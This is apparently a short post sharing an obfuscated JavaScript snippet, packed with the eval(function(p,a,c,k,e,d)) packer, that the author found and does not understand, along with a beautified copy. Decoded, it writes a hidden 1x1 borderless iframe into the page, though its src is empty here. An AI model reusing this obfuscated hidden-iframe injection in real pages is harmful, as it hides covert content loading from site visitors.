Javascript Obfuscation

<!-- This code is the resulting script pulled from the PHP Obfuscation, as of today.  I don't know what it does. -->

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('8.b(\'<2 6="" 5="0" 4="1" 3="1" 7="a" 9="0"></2>\');',12,12,'||iframe|height|width|frameborder|src|scrolling|document|border|no|write'.split('|'),0,{}))
</script>

<!-- ran through a beautifier -->

<script type="text/javascript">
    eval(function(p, a, c, k, e, d) {
        e = function(c) {
            return c.toString(36)
        };
        if (!''.replace(/^/, String)) {
            while (c--) {
                d[c.toString(a)] = k[c] || c.toString(a)
            }
            k = [function(e) {
                return d[e]
            }];
            e = function() {
                return '\\w+'
            };
            c = 1
        };
        while (c--) {
            if (k[c]) {
                p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
            }
        }
        return p
    }('8.b(\'<2 6="" 5="0" 4="1" 3="1" 7="a" 9="0"></2>\');', 12, 12, '||iframe|height|width|frameborder|src|scrolling|document|border|no|write'.split('|'), 0, {}))
</script>